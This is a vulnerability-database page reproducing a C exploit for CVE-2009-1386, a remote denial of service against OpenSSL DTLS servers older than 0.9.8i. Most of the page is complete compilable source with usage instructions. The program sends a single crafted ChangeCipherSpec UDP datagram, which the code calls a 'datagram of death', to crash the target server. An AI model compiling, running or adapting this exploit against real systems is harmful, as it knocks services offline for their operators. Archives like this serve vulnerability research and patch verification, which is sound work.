Lucene search

K
seebugRootSSV:66601
HistoryJul 01, 2014 - 12:00 a.m.

OpenSSL < 0.9.8i DTLS ChangeCipherSpec Remote DoS Exploit

2014-07-0100:00:00
Root
www.seebug.org
22

0.077 Low

EPSS

Percentile

94.2%

No description provided by source.


                                                /*
 * cve-2009-1386.c
 *
 * OpenSSL &#60; 0.9.8i DTLS ChangeCipherSpec Remote DoS
 * Jon Oberheide &#60;[email protected]&#62;
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1386
 *
 *   OpenSSL would SegFault if the DTLS server receives a ChangeCipherSpec as
 *   the first record instead of ClientHello.
 *
 * Usage:
 *
 *   Pass the host and port of the target DTLS server:
 *
 *   $ gcc cve-2009-1386.c -o cve-2009-1386
 *   $ ./cve-2009-1386 1.2.3.4 666
 *
 * Notes:
 *
 *   Much easier than the memory exhaustion DoS issue (CVE-2009-1378) as this 
 *   only requires a single ChangeCipherSpec datagram, but affects an older 
 *   version of OpenSSL.
 *
 */

#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;unistd.h&#62;
#include &#60;errno.h&#62;
#include &#60;netdb.h&#62;
#include &#60;netinet/in.h&#62;
#include &#60;sys/types.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/socket.h&#62;

int
main(int argc, char **argv)
{
	int sock, ret;
	char *ptr, *err;
	struct hostent *h;
	struct sockaddr_in target;
	char buf[64];

	if (argc &#60; 3) {
		err = &#34;Pass the host and port of the target DTLS server&#34;;
		printf(&#34;[-] Error: %s\n&#34;, err);
		exit(1);
	}

	h = gethostbyname(argv[1]);
	if (!h) {
		err = &#34;Unknown host specified&#34;;
		printf(&#34;[-] Error: %s (%s)\n&#34;, err, strerror(errno));
		exit(1);
	}

	target.sin_family = h-&#62;h_addrtype;
	memcpy(&target.sin_addr.s_addr, h-&#62;h_addr_list[0], h-&#62;h_length);
	target.sin_port = htons(atoi(argv[2]));

	sock = socket(AF_INET, SOCK_DGRAM, 0);
	if (sock == -1) {
		err = &#34;Failed creating UDP socket&#34;;
		printf(&#34;[-] Error: %s (%s)\n&#34;, err, strerror(errno));
		exit(1);
	}

	ret = connect(sock, (struct sockaddr *) &target, sizeof(target));
	if (ret == -1) {
		err = &#34;Failed to connect socket&#34;;
		printf(&#34;[-] Error: %s (%s)\n&#34;, err, strerror(errno));
		exit(1);
	}

	memcpy(buf, &#34;\x14\xfe\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x01&#34;, 14);

	printf(&#34;[+] Sending DTLS datagram of death at %s:%s...\n&#34;, argv[1], argv[2]);

	send(sock, buf, 14, 0);

	close(sock);

	return 0;
}

// milw0rm.com [2009-06-04]